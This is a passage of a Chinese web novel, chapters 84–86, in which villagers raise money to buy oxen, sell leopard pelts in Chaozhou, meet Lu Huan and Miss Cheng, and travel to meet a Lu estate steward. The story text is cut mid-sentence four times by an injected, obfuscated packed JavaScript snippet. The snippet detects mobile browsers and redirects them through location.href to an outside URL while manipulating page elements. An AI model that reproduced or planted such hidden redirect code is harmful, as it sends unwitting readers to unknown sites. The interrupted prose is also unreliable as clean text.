他看得分明，傅娘子笑着点头时，旁边乔冉安的神情且还懵着呢……但不论怎样，两家人能在买牛的事上达成一致意见，实是再好不过了。 “那就这么说定了，等回头我再往陆苑跑一趟，约好日子咱就一起出发。”乔长田乐呵呵地笑道。他不自觉地在话中加了句关于自己来回奔波的事，原意在于强调自家在买牛一事上的话语权，可没想乔小遇她家里人的重点完全偏移。 “便不过说是将牛牵回来的小事……咳咳，虽然辛苦一些，但一两个人去就成了。”乔冉安咋了咋舌，腆笑道：“长田兄弟，你看我家就我这么一个劳力，我若同你一道去江北，这一家老小就没有人照应了不是？” 乔长田闻言不禁语塞。他面色沉凝片刻，终只得敛起心头无奈，道：“可买牛花了多少银钱，咱们总得左右看顾着，不能我说什么数都算的……” 乔冉安不愿担事，忙推拒道：“村里人都晓得你处事公正，反正我和你嫂子是信你的。你只要将牛安然地带回来就成了，用钱的事你说多少就是多少。” 傅娘子皱了皱眉，她对乔冉安这样的调性虽已习惯，可心头怎么都觉着被什么东西给梗住了般。 傅娘子明白，就算乔长田行事无偏，可既然是两家人合伙买牛，花费什么的总要有个见证才算合理。何况，若至江北后，牛价有升，甚至超出两家所准备的银钱之数，事情可就不好扯清楚了。 “我看不妨这样，咱家可以让傅震表哥跟着去嘛，一来都是一家人没什么好信不过的道理，二来傅震有些身手，这路上要是出些什么岔子他也可以帮衬一二。”乔小遇缓放下扶额的手，平和的笑音打破了这略显僵持的氛围。 到底得了圆满…… 乔长田心里落了块石后，连日来除了忙于牛犁镢耕之事，还去各户家里问过他们关于买牛的选择。 最后不过统计出了五头牛的数，但这已经是一个令人十分惊讶的数字了。须知此事困难，除了他们是由两家拼凑，村里余下的四头牛可都是由七八户人家合在一块儿买的。 这般一看，乔小遇家无疑是村里留有余地最多的那户人家。 用钱、途中干粮与同行的人敲定后，乔长田便很快往陆苑跑了一趟，而这厢乔小遇一家则为着筹集买牛之钱的事忙活起来。 其实她家里积攒下的银钱已足够买牛，可乔小遇思来想去，只怕牛价有升，届时整湾子里便不见得能如期带回五头牛来了，于是乔小遇说服她娘另备下些银钱。 只是等夏粮接上还有一段时日，家中所余肉物米粮是不能拿出来兑银了。乔小遇仔细看过家中上下，最后不得不将主意打到那三张花豹子皮上。 傅震轻轻用手摸过柔软的花豹子皮，一边笑叹道：“在豹皮成色颇好，而且看得出来，你们剥的时候很小心。这三张花豹子皮若是卖出去，便是在县上盘一家铺子也足够了。” “三张都卖了么？”乔小遇低喃出声，眉间苦郁随她微垂的动作而遮掩去，接着岔开话题，“但这东西不好卖，一般县上除非遇到行商，否则这东西真不好接手。” 傅震盯看了乔小遇片刻，挑眉顺口说道：“那便直接去朝州府好了。” “去朝州府？”乔小遇立时抬起头来，而眸色晶莹。其实她也并不十分清楚这种欢喜情绪的来源，可当下的神色便是如此了——毫无掩饰。 傅震呵笑了笑，到底没有继续往下说去。 因村里耕牛短缺，乔冉安一家还得忙着镢耕，于是北去朝州府以皮兑银的事便落在了傅震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924412|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上，而乔小遇自也寻了由头跟着。 与乔小遇他们一同去朝州府的，还有乔荣兄妹俩。 乔荣本是不想搭理妹妹卖香囊的事的，因为他们之前已经往县里跑过两趟，但所获甚少，没法只能低价卖出…… 到底费了整冬的工夫，乔荣心下替妹妹不值，可没想乔丫丫一听说乔小遇他们要去朝州府卖东西，她刚歇下去的心思便又燃了起来。 乔荣与他娘拦不住，也只能随着乔丫丫去了。好在所携之物轻便，一路上少了许多麻烦。 随着泥路愈发宽阔，从乔小遇他们的视野里划过的山陵的高度倒是愈发低矮了，而一路上，荒瘠的地表裸|露着，极少见到已经翻耕过的。 乔小遇他们见状不由得心思黯黯，只不待他们感叹些什么，傅震便冷淡地抛来了一句：“放心吧，朝州城中不会是这般景象。” 傅震话中不见得有嘲讽的意味，不过朝州城中的景象确如他所说的那般：整洁而宽阔的街道上人来车往，旌旗飘扬的酒肆中生意兴隆…… 即便往前一段时日，这座城是清冷而沉抑的，角楼下还有腐肉摊摆过，但随着局势平定，她很快便恢复了往日繁华。 到底，她是整个朝州府的脏肺所在。 而稍显别扭的一点是，城中人的情绪依旧有些低沉，似乎还没有完全从之前的氛围中脱离开来。 停了几月的棺材被郑重下葬，白色的挑钱从街头转过来时，乔小遇发现行人都自动避到了一旁，并微微低垂下了头——人们并不认为这有什么好晦气的，但同时又给予了充分的尊重。 便等行人散开，傅震才低首与乔小遇他们几个解释道：“动乱中谁没有亲朋离世呢？只对于普通人家而言，他们即便能为死去的人备下一口棺材，却都是草草下葬，很少有人选择停置尸身……” “但朝州城中的许多勋贵世家多是由江北、临安一带迁过来的，族人死去，他们也总想着将其安葬在故地祖坟中。方才那支送葬队伍过去时，之所以没有行人喧哗，其实更多的是因为他们的身份。” 傅震逆着送葬行队的方向缓步走着，但见乔小遇三个脚步微顿，心了他们是听得出了神，接着淡声道：“咱们想卖的东西，普通人是不见得有那心思和钱财去买的……” 乔小遇微微颔首，“确是如此。便如从前我爹娘进城时，晚间歇夜舍不得花钱，竟跑到富贵人家附近，就着家里的板车睡了整晚的事是一个道理……” 乔荣闻言依旧沉默着，不见他多说什么，但乔丫丫却是眨巴了眼睛，直跟在乔小遇他们身后走了好一段路后才反应过来，摇手惊讶道：“原来咱们是要去往富贵人家多的地方啊……” 傅震温和颔首，可乔荣却不由自主地沉叹了口气，暗想傅震与乔小遇的言外之意已足够明显，但妹妹却很难听出来…… 他们一行来到的地方叫桐花巷。 84. 程家小姐 比起外间开阔的青石长街，桐花巷的路宽仅容两辆马车并行而过，而同时也因着道路两边围起了高墙的缘故，巷子显得有几分幽深。 几人沿着桐花巷“这枝”往左右岔出去的窄道，多能找到富贵人家所设的侧门。 比起乔丫丫做的香囊，傅震包袱里的那三张花豹皮更吸引人的眼球。门房和小厮不是能拿主意的，便只有府中主人在家的话，才想着上前禀告，于是乔小遇他们只得在门口稍等。 没多久，管事的便往侧门处转出来了。人上下打量过乔小遇一行的装束后，诧异地道：“倒是少见货郎出门时还带了几个半大孩子的，你们是外地赶来进城的吧。” 傅震呵笑着解释过乔小遇几个都是村里的孩子，想着来城里卖点自己做的玩意儿，他便顺着将人带来了，接着连忙示意乔丫丫将自己兜里的香囊拿出来给人瞧瞧…… “这整个村里只剩下了一头牛，小孩家里的大人都忙着镢耕，不得这空进城来。没法儿，都只能由我照看着了。”傅震微叹了口气道。 管事的点了点头，同情地道：“你这皮子我选上一张，至于香囊，却不晓得院里的大丫头们是否喜欢……那我便随意挑上几个？” 乔小遇等几个连忙出言道谢，而乔丫丫虽然没有卖出去几个香囊，却也兴奋得很，等管事的进了门后，她忍不住低笑道：“这趟总算没有白来。” “你好意思说的？这香囊的价格比你在县上卖时高出了十文钱，管事的听言便不自觉地皱了皱眉，却没戳破与你计较……”乔荣轻轻摇头，冷哼道：“朝州城的物价自然比地方上要高些，可乔丫丫你怎么能这么缺心眼的？” “我怎么又缺心眼了？”到底场间还有旁人在场，乔丫丫实觉着自尊心备受打击，她瘪嘴说这话时，泪水已忍不住在眼眶里打转了。 乔荣气憋，再多的实在话也只能咽回嗓子里，怔脸定在原地。 “丫丫，你哥哥不是说真的要责骂你，你别想岔了。”乔小遇柔声说道：“你的香囊胜在女红漂亮，结绳的打法精致，还有里头所装的干果干花香味自然清郁，但价格升五个铜板已足够了。” “不是谁都似方才那位管事般好说话的，人若是觉着新奇好玩，府里的丫头和嬷嬷们自会学了去讨主子欢心。再说你这香囊做了好些，适当地压下价便能早些卖完不是？你也不会亏多少。” 乔丫丫缓缓抿唇点头。其实这香囊好不好卖，她心里有数的，只碰上一个不问价钱便挑了五只香囊去的管事，她没忍住贪些小利罢了。 几个人继续在巷子里穿行，挨着敲门卖东西。总避不及说遇到一些人说一些嘲讽的话，又或者迎上人不耐烦的打发，让他们神色尴尬失落之余，却还得重新扬起笑脸，语气低卑…… 日头渐渐偏斜，桐花巷中只有一边的围墙高处齐平平地镶铺过金色的日光，人目远眺看去，便似一条精美的缎带般。 只这条缎带并不属于这几个在巷中穿行的外地人，而他们便是向高处起跃，也无法触碰到。 好在他们懂得满足。从巷子的另一头穿出时，乔丫丫那边已经只剩下了七八个香囊，而乔小遇手头也只余下了一张花豹子皮，两个女孩儿扬了扬手中装钱的布袋子，不禁相视而笑。 “还有什么东西比银钱的响碰声更为悦耳呢？”乔小遇有些庸俗地想。 “咱们先找个茶摊歇一会儿，吃过些干粮后，再寻人打听可还有什么地方好卖这些东西的。”傅震遥手指了指河岸边的一处茶棚道。 “最好在城中逗留一日就能回家去了。”乔丫丫双手支撑着下巴，嗓音半累半颓地道。 刚坐下身来的乔小遇抬眼看了看她，笑道：“实在卖不完，咱们便到杂货铺子问一问，如果价钱合适的话，转卖给人也是可以的。” 乔丫丫听得这话，心思微定了几分，旋端起身前的茶水仰头“咕噜”灌下。 “你慢点喝，当心呛着！” 乔荣苦心带怨的念叨话在耳边响起，乔小遇心底的一角为这对兄妹的相处方式而触动，恍惚间觉着笑闹声不断的妹妹就在她身边…… 她偏头往水面上看去。 乌篷、长篙与石桥的光影倒映在清碧色河水中的景象安谧而柔美，而周遭嘈杂的人声似乎被揉碎在了这景象里，并不显得如何突兀……只其后的一只小船从桥底下穿驶出来后，乔小遇才觉人声轰鸣入耳。 乔小遇终究呆愣住了，似乎她才是显得突兀的那一个。 不经意的，乔小遇与陆桓目光相触，原当是两相欢喜。 只相对于陆桓眸中的喜意渐浓，乔小遇的神色却渐渐转为了凝顿，因为她看到在陆桓对面还坐着一个女孩儿。 女孩儿带了帷帽，是以人目无法看清容色，可乔小遇却不自觉地带了一种紧张感。 也不知陆桓与女孩儿说了什么，那船便在靠近茶棚的一处缆桩口停了下来。随行的一个婢女一边拾起出游时折来的嫩柳，一边搀着女孩儿缓步跟在陆桓身后，朝乔小遇他们落座的地方走过来。 乔小遇轻轻蹙眉，觉着口中的凉茶仿佛带了一种灼热的温度，直将她的舌尖烫起几个细密晶莹的小泡来……她目光一动不动地看向陆桓。 “小遇，傅震表哥，你们怎么到朝州府来了？”陆桓的手掌自然而然地拍了拍傅震的肩膀，欣喜唤声道。 陆桓环顾了下四周，发现没有多余的凳子了，便暂时立在原地，静看向乔小遇，似乎是在等她的回答。 程筱筱倒是好奇地掀起了帷纱，朝傅震看去，下意识皱眉问道：“桓哥儿，我之前怎么不曾听你说起过自己有个傅姓表哥？” 在她看来，眼前这个面上带了一个弯月刀疤，身着一身粗布衣裳，而靠背的包袱里露出半块豹皮的傅震更像是一个猎户，粗鲁并且蛮横，与陆桓怎么都不像是有交集的模样。 “我是随小遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924413|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫的。”陆桓微笑着朝乔小遇看来。他的神情全不似平日里的冷淡，反而透着一种熟悉的亲昵感。 程筱筱闻言也随之稍稍偏侧过身来，而乔小遇不禁微屏住了呼吸。 她长得可真好看啊…… 似被风裁剪出的柳叶般的弯眉下，映着一双如明净溪潭的眼，而斜雨微下，潭水上方便似笼了层薄纱般，缥缈出尘。 乔丫丫可看了半晌才反应过来，坐在外首的她连忙退开让座，可程筱筱却不见有落座的意思，只淡淡地说了句：“不用。” 傅震瞥了眼乔丫丫那无所适从的模样，示意她坐下，并接过陆桓的话题道：“如今湾子里的农户们都忙着凑钱去江北买耕牛，我便带了他们几个来换些银钱，也是难得进一趟城了。” “原来如此。” 陆桓颔首一笑，接着欲与程筱筱介绍过乔小遇等人，没想程筱筱却迅速收回了自己轻落在乔小遇身上的目光，直接与陆桓行了个礼，“桓哥儿遇到相熟之人，似乎还要驻足一会儿，那筱筱就不打扰了，先告辞归家。” 她话音轻轻落下，陆桓那句“也行”的话几乎就要脱口而出，而略显拘束的乔丫丫正为此感到丝放松时，乔小遇却缓笑道：“姑娘不妨留下来吃杯茶水吧。” “看情形你们应是提前下的船，这一回程你就只带了一个婢女多有不便，不妨等一会儿让陆桓送你回去吧。何况，我们还有事要开口请姑娘帮忙哩……” 乔小遇的话音里带了一股浓重的乡音味儿，目光柔和而真诚，到底开口求了人，场间尴尬渐渐消散的同时，竟有一种她拉人入污泥之中的感觉。 “请我帮忙？”程筱筱脚步微顿，如凝脂般光滑的皮面上划过了一抹不易捕捉到的满足感。 见陆桓亦面露诧异之色，程筱筱竟柔声应下了，偏头使婢女去唤店家寻两节干净的凳子来。 乔丫丫不安地将身体挪得与乔小遇近了些，局促的视线朝她哥的方向投来，可乔荣却撇过了头去，一副视而不见的神色。 “这是我之前与你提过的程家小姐。”陆桓与乔小遇这般介绍了句，可后头的话却是怎么都接不下去了，于是凝眉停顿。 程筱筱闻声却是神色一展，低眉羞笑道：“怎么，桓哥儿还与你提起过我？”她深看了眼乔小遇，而心下情绪已不全是那股带了俯视的满足感了。 乔小遇的嘴角几不可见地抽动了下，原本晦涩的眸光在瞥得陆桓轻轻颔首的动作后，终恢复为平日里的明澈。她微微一笑，顺之言道：“提过几次。” 这话似乎“取悦”了程筱筱……见程筱筱掩唇而笑，陆桓不悦地皱了皱眉，疑惑的目光盯看向乔小遇。 然而乔小遇却将陆桓屏除在外了，只着意关注程筱筱这人。 “顺其自然”地，乔丫丫所余下的那几个香囊都被程筱筱买下了，而那些夸赞话，不管是否出于真心，都令乔丫丫的嘴角翘成了弯月的弧度。 85. 情不自禁 见程筱筱让婢女拿方巾将香囊尽都收好，陆桓淡淡地丢出了句，“喜欢也不尽都要买下的……” “我可以送给府里的丫头啊。”程筱筱接着说道：“他们辛苦了这一路并不容易，再说这还不是因为他们是你朋友么……” 可闻的是，程筱筱的话在说至“朋友”二字时显得有些凝滞……乔小遇轻将晶莹的琥珀色眸光探向程筱筱，发现人的笑容竟是那般的透明，又或者说赤|裸。 “到底把丫丫的心头惦念的结给解了，程筱筱的态度不算什么。”乔小遇只能这般安慰自己。 “你们还有什么没有卖出去的么？”陆桓心下轻叹了口气，侧头问傅震道。 “还有一张花豹皮。”傅震把包袱从身后拿出来后，但见对面的乔小遇紧抿了唇不说话的情形，心头不觉好笑，于是对乔小遇问道：“小遇，那这张豹皮还要不要卖呢？” 这是自家的所有物，卖不卖自然由自家说了算不是？乔小遇觉着这并没有什么好犹豫的，但她确实犹豫了片刻，方才沉凝了声道：“能卖出去自是最好不过了。” “多筹得些总是不错的。”乔小遇静看了眼陆桓，跟着补充道，而她心下却觉着人实在是个复杂的动物…… 某种东西若只余得一件，那么在所有人眼中，它的意义便会变重许多。 若这所有物在交接时没有当着特定的人的面，那么交接的过程就不会产生一些细微的、旖旎的情绪变动。 若某种东西不是她的所有物，她就不会想那么多。 而用现实来将那些旖旎的情绪压下，似乎是一个不错的选择。 “来之前我同傅震表哥便是这般想的。”乔小遇的嗓音淡淡的，话至尾处她还不自觉地轻轻点头，似乎是在对自己刻意性地强调某种东西。 乔丫丫自是不明所以，而傅震和乔荣都毫无例外地保持了沉默，没有试图去戳破乔小遇那股别扭的心思。 而陆桓的瞳孔不由得微微一缩…… 对乔小遇她卖出花豹皮这事，他原本并没有附加上某种实在的、重要的意义。这豹皮在他和高扬选择将其送给乔小遇一家时，本就是想着有朝一日能救急用。 当初他的想法无疑才是最现实的，只此时察觉到乔小遇那股别扭心思的他，怎不知“现实”只是乔小遇用来掩饰的借口？ “那我便将着买下来吧。”程筱筱柔和有礼地道。 不得不说，相较于之前她所表现出的白鹅入泥潭的骄傲与不适感，此时的程筱筱在暗暗划隔出一个距离圈后，明面上的表现确是很难让人产生厌恶感的。 乔丫丫已全为这种明面上的表现而蒙蔽，她兴奋地挽过乔小遇的胳膊，“太好了小遇，咱们的东西都卖出去了！” 见状，乔荣可想狠瞪一眼妹妹，但他不知乔小遇是否会继续“顺水推舟”，只得默默地端了茶水饮下。 “这张花豹皮成色不错，于我有些用处，不知程小姐能否割爱？”陆桓直接看向程筱筱道。 程筱筱的面颊上迅速浮起一抹红霞，垂头说笑道：“桓哥儿客气了。” 这一来一往的，事情似乎就说定了？可东西还在傅震手上的。 乔小遇愣愣地环摸着凉茶碗的边缘，俯头轻啜了口茶水。她终究忍不住多想了，即便她不断地暗暗重复：“这并不存在附加的意义，陆桓……嗯，他便只是想着帮人罢了。” 随着游船减少，低矮而整齐的瓦屋映在清碧色河水里的影廓渐变得明晰起来，不似之前那般因船只划过而总呈现出断裂的情形。 乔小遇低头瞥了眼身前那敷了些黑泥在缝隙里的木桌，上头星星点点地洒了些淡黄色茶渍，可不知她究竟灌了几碗茶水下去…… 然而程筱筱与陆桓两人的那角木桌上依旧干洁如常，这俩人从头到尾就不曾喝过一口茶罢了。 “不知是这茶的味道过次，还是这种贩夫拥挤的地方与他们格格不入……”乔小遇心下淡哂。 在傅震与陆桓说起村里要随陆苑的人一同去江北买牛的事后，她便保持了沉默。 程家小姐偶尔会插问两句，话中虽没有丝毫的鄙夷语气，但终究有几分“何不食肉糜”的意味——或者仅有乔小遇这般认为。 程筱筱的分寸感掌握得极好，也不催促陆桓，在得了人恩惠的乔丫丫看来，程筱筱表现得善解人意，毕竟此事原本与她无关的。 “只是一个陌生人，为什么我会带上这种审视的目光，不够理智，甚至有些敌意呢？”瞥眼瞧得乔丫丫那副欢喜至极的神情，乔小遇对比了下自己的心思，不禁摇了摇头，暗暗自嘲道。 “你们随陆苑的管事去，我虽放心许多，只万一牛价有升，你们所能承受的高价顶线与管事的是不一样的，所以你们须得事先让里正那边和陆氏的管事商量好……” 陆桓蹙眉继续说道：“就同你们费心多备下些买牛钱是一个道理，陆苑不会让管事的的差事如何难办，但他们可能只需要将这桩差事了了就会回朝州府来，而不是说把差事做得有多好。” “里正那边……似乎真的需要与他提说下，而我们多备下买牛钱的事”，傅震偏头对默然寡言的乔荣叮嘱道：“你们兄妹俩回去后，切莫先放出什么声为好。” 乔荣郑重地点了点头。 无论如何，这场偶然相叙，都到了结束的时候。 只告别起来，场间却隐隐有一种陌生的隔离感。 程家小姐带回了绿柳香囊，尽管人不曾将这种满载而归的满足感表现出来，可乔小遇却察觉到了，虽然她也怀疑是她自己小人之心。 从陆桓那处换来的银锭便安静地摆在茶桌上，乔小遇忍不住多看了片刻，才稍稍收回了神，抬眼看向陆桓的背影。 她不自觉地抿了抿唇，琥珀色的眸子与茶棚顶的斜阳交映在一起，似乎带了同样的温度。 没有好好道别，而是别扭的情绪乱涌——乔小遇心下有些后悔了。 “那我们也走吧。” 听得傅震声落，乔荣荡了下碗底余得的茶水，混着细碎的青黄叶渣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924414|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一饮而尽头，随即站起身来。 乔小遇是动作最为迟缓的那一个，傅震细看了她一眼，唇角轻朝而下，折出一个三角小漩来。 陆桓已走到了石桥上，足步稍缓的他落在了程筱筱身后些。 他知道乔小遇还未收回视线，于是侧俯过目光……橘色的暮光在水道弯折那处反散为一片，晃得他眯了眯眼。而目及处，乔小遇的身形是被高出半个头的乔荣给挡了去的。 陆桓直接顿下脚步静看…… 同他所想的那般，便等傅震几个都离桌后，怔怔失落的乔小遇果然又往他所在的方向看了眼。少年的嘴角轻漾起一抹难以觉察的弧度来。 “乔小遇，你们村里去江北买牛时，你会跟着去的吧？”陆桓扬手问道。 “可能吧……”原觉着有些惋惜的乔小遇倏然间醒了个神，话音支吾的同时，眼神轻飘至傅震身上。 这是个不确定的回答，可在陆桓听来却怎么都似定下了般，接着他心满意足地转身离开。 傅震见状轻轻摇头，等乔荣拉着乔丫丫走出茶棚后，才皱眉与乔小遇说道：“如果你想一同去江北的话，我同你娘开口。” “那便谢谢你啦，表哥。”乔小遇眨眼一笑。 终究跳回到了自己所熟悉的环境，从朝州城回来的乔小遇情绪有些淡淡的失落，而心湖边缘仿佛被围上了一道齐平高的堤坝般，外间雨落成流，可以轻而易举地灌入其中，可堤坝里的湖水无论怎么涨高，也不曾见有外溢的迹象。 乔小遇开始自我审视…… 只随着她渐渐明白那些成流的雨水的来源，她便下意识地想要将心湖周围的堤坝筑得高些。 这是情不自禁时的一种防备反击，而结果是徒劳的。 令乔小遇放下这筑堤式的反击的，是傅震对潘怜儿提亲的事。 傅娘子听言后自是极力赞成，笑说：“知道咱们在院后新建的屋子为什么要改成嵌瓦的么？我和小遇她爹便一直等着这一天哩。” 可袁大娘子的脸色看起来却并不十分和暖，由微黄的面皮所拧成的沟褶直比平日里深上许多。 “我是一直想着让怜儿再嫁，让她的后半生有个依靠，不必再活得似去年冬腊月时的那般辛苦……可那个人怎么能是你呢？”袁大娘子眸色冷厉而伤情地道。 乔冉安夫妻俩没想到，原本一桩再和美不过的亲事竟会演变成这般模样。 袁大娘怎会不同意呢？毕竟他们最初来湾子离避难时就是以一家子的身份互相称呼的。若当时他们的关系并没有被戳破，以假乱真也好过当下这种反转的情形吧？ 傅娘子实在有些不明所以，却又不知该如何劝起。 “怜儿姐姐，你心里是怎么想的呢？”一片僵凝的气氛中，乔小遇折身朝潘怜儿问道。 于是场间所有人的目光均向潘怜儿看来…… 确实，这场亲事能不能成，潘怜儿的意愿才是最重要的。袁大娘开始紧张起来，环抱着小虎襁褓的双臂不自觉地僵绷…… 86. 失信违诺 潘怜儿的神色有些木然，身体如同石雕般一动不动，可她的眼中却已簌簌地落下泪来…… 如同夜间那藏匿在灌丛里的受伤的野兽般，被突然出现的火把灼烫了眼，而身体已落入“囚笼”，不得动弹。 “你当真愿意娶我？” 傅震定定颔首，似乎能够猜测到潘怜儿接下来会问什么，他继续说道：“不是因为林掌柜的嘱托，也不是因为感慨于此前奔逃一路的艰辛……” 潘怜儿的嘴角微翘起来，她一把抹过眼泪，尽量忍了抽气声，缓声与袁大娘道：“娘，我愿意嫁他。” 袁大娘到底不好再说什么。她心里也清楚，他们一家与傅震早已命运相连，而不论彼此之间是否存在姻亲之系。罢了，水流自然，她管不上那许多的。 乔小遇亦是如此。 “加筑的堤坝无疑是自我封闭的块垒，既无法阻断雨流，那便顺其自然好了。”她这般想。 …… 春来风大，路边那丛长在高埂边上的竹林被折得东倒西歪，竹竿子和长叶也被吹得黄了，看起来十分憔悴。 高埂下，乔家村前去买牛的一伙人穿行而过。 夜里微凉，他们各自除了备上些干粮和水外，还多带了两件麻布衣物，但总来说还算轻便。 “大家伙脚程再快些吧，前面就是和陆苑管事的汇合之处了。”领队的乔长田回头招呼了下村民，目光不由自主地往乔小遇的方向瞥去。 好在乔小遇的模样看起来并不如何吃力，一边走着还同傅震有说有笑的，乔长田眉间的细纹才得掩平。他原本是不同意乔小遇和乔荣这俩孩子跟着来的，乔荣还好说，气力够，也能担事，可乔小遇一个姑娘家算怎么一回事呢？ 最为主要的是，他儿子宝树在得知乔小遇要跟着去江北买牛的消息后，竟也打上了同行的主意，幸好昨儿半夜里宝树他娘起来将儿子房间的门扣挂上了…… 当然，“幸好”这词是从刘菜粉的口头冒出来的，乔长田心下除了觉着儿子做事不分轻重，别的倒没什么。 此行他们少说也要花上半月时间，家里的田地也不能干等着他们牵牛回去翻土，若是归得迟了可怎么好？是以在乔长田看来，乔宝树还是留在家里镢耕得好，至少算个劳力不是…… 其实村里许多人都是这般想的。 关键时刻，人们都习惯了在保全自身的同时，将希望寄托在旁人身上。所以即便镢耕的效率过低，农户们为了自家地头的那几棵种苗能顺利栽下，也不希望在这种时候家里的劳力被分出去。 这般看来，乔荣家无疑是个例外。 在路上时，乔小遇曾低声问过乔荣缘由，而人苦笑了声，应道：“这还不是我娘的主意……” 乔荣轻轻摇头，“我娘说村里人愿意同我家搭伙买牛已是不错了，如今各家都不想出这趟远门，我顶上这桩事的话，别家兴许会感念一二，日后对我家少些为难……” “左右我几个叔伯家是对我家避之不及了，也不管我家有多少田地，家里的劳力就我一个能算顶事的，就算我留在家里挖地翻泥，也没有什么区别。”乔荣摊手说道。 乔小遇看着乔荣那股自嘲的神情，琥珀色的眸光不由得轻轻泛动，似晨光下有片青碧色的草叶划拨过澄澈的湖面般…… 她想要开口安慰什么，但捕捉到她这丝类似同情的情绪的乔荣却很快撇过了脸去，脚步也同乔小遇拉开了些距离。 “呃……”乔小遇面色微显凝顿，她定定地瞥了一眼乔荣的背影，终不过轻叹了口气。 傅震这时走上前来，轻拍了拍她的肩，乔小遇抬头回视了眼，嘴角的苦涩感终究轻释了几分。 其实各家地中都有苦荞种着，若事情真如丁小娘子所愿所想，确是还好了。 …… 村里人与陆苑的管事是约在上岚岭会面的，只他们到时，上岚岭空无一人，乃至于一行人都慌了神。 乔根茂坐在草地上歇息了一会儿，终抑不住内心的焦躁感，起身站至路边，一手叉腰，一手拦目远眺道：“里正，是不是您记错了时辰？” 一时间，所有人的视线均不由得凝落至乔长田身上。乔长田吞咽了口唾沫，抬头看了眼日头，皱眉轻喃道：“确是这个时辰啊……” “这可不能开玩笑啊，若是我们误了时辰……” “就是这个时辰！”乔长田沉声打断了身旁的村民的话，话音听来笃定，可他心里也忍不住有些急躁起来。 他“吧嗒”了口烟，旋起身将火磕灭在路边的矮石上，说道：“他们兴许是路上被什么事给耽搁到了，不如我去迎他们一小程，你们且在这里耐心等一会儿……” 他这话音一落，一行人便都紧跟着站起身来了，一个个面面相觑，有些拿不定主意。 “长田叔，我看还是由我带着小遇和乔荣去接人吧，要是半途遇到陆家的管事，我便使了乔荣先跑来给你们递个消息。此行既是您带着大家伙出的的村子，您留在这里，无异于给大家伙吃了颗定心丸。” 傅震偏头笑看了眼乔小遇与乔荣，旋主动把装着干粮的包袱递到乔根茂手上交他保管，笑道：“大家伙耐心等一会儿，想来就算管事的几个行路迟缓，他们也应当是按时启程的，离上岚岭不会过远了。” 乔根茂垂头看了眼包袱，其心神终是同另四个村民一般稍定了定。乔长田心头那股紧绷的弦亦是一松，招手叮嘱道：“那你们快去快回……至于没有守时这事，不要对人刻意强调相问，毕竟咱们都还指着人帮忙哩。” “您放心吧。”傅震眉尾轻挑了下，很快应声道。 三人沿着岭西走去……他们步伐很快，不多时便走出了两里路。只场间气氛微默，偶有雀鸟儿从林间扑腾而起，心里装了事的乔荣与乔小遇却是几次被吓到。 “那个……”乔荣挠了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924415|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后脑勺，犹豫着打破场间的僵默气氛，说道：“我爹替陆家人看护山林时，陆家庄子上的管事我跟着见过几个……” 闻言，乔小遇与傅震不禁稍稍顿住脚步，回望过来。 “有次他们约了喝酒赌|钱，尽兴时露了口风，说起贪昧主人家钱财粮产的事……醒来他们都道是互相吹嘘，但我爹笑说他们各都是真话，如那个为首的黄管事，便是个阳奉阴违的角色。” 乔小遇凝色道：“这种情形、这种人少不了存在的，或者你是想说，这黄管事的有什么特别之处？” 乔荣颔首，“你们或许不知，陆氏内部有分派系，我虽不知这位黄管事的后台是谁，但这位黄管事管着陆家三处最大的庄子，暗利吃了不少。此番江北买牛之行，无异于肥差一桩，怎会少了黄管事的身形？” “方才里正的话你们也听到了，那似乎意味着买牛的话语权并不在我们这里，我实在担心事生波折……” 事生波折？便多是牛价有升、行途耽搁吧……三人均不由得眉色紧凝，想及在朝州城时听陆桓提过的情形，终不得不郑重以待了。 再往前行了四五里路，乔小遇三人这才得遇陆家负责前去买牛的管事一行。正如乔荣所顾虑的那般，陆氏买牛的差事确由那黄管事的主理，而人不曾守时的缘由，且看眼那条载了许多重物的长长车队就明晓了。 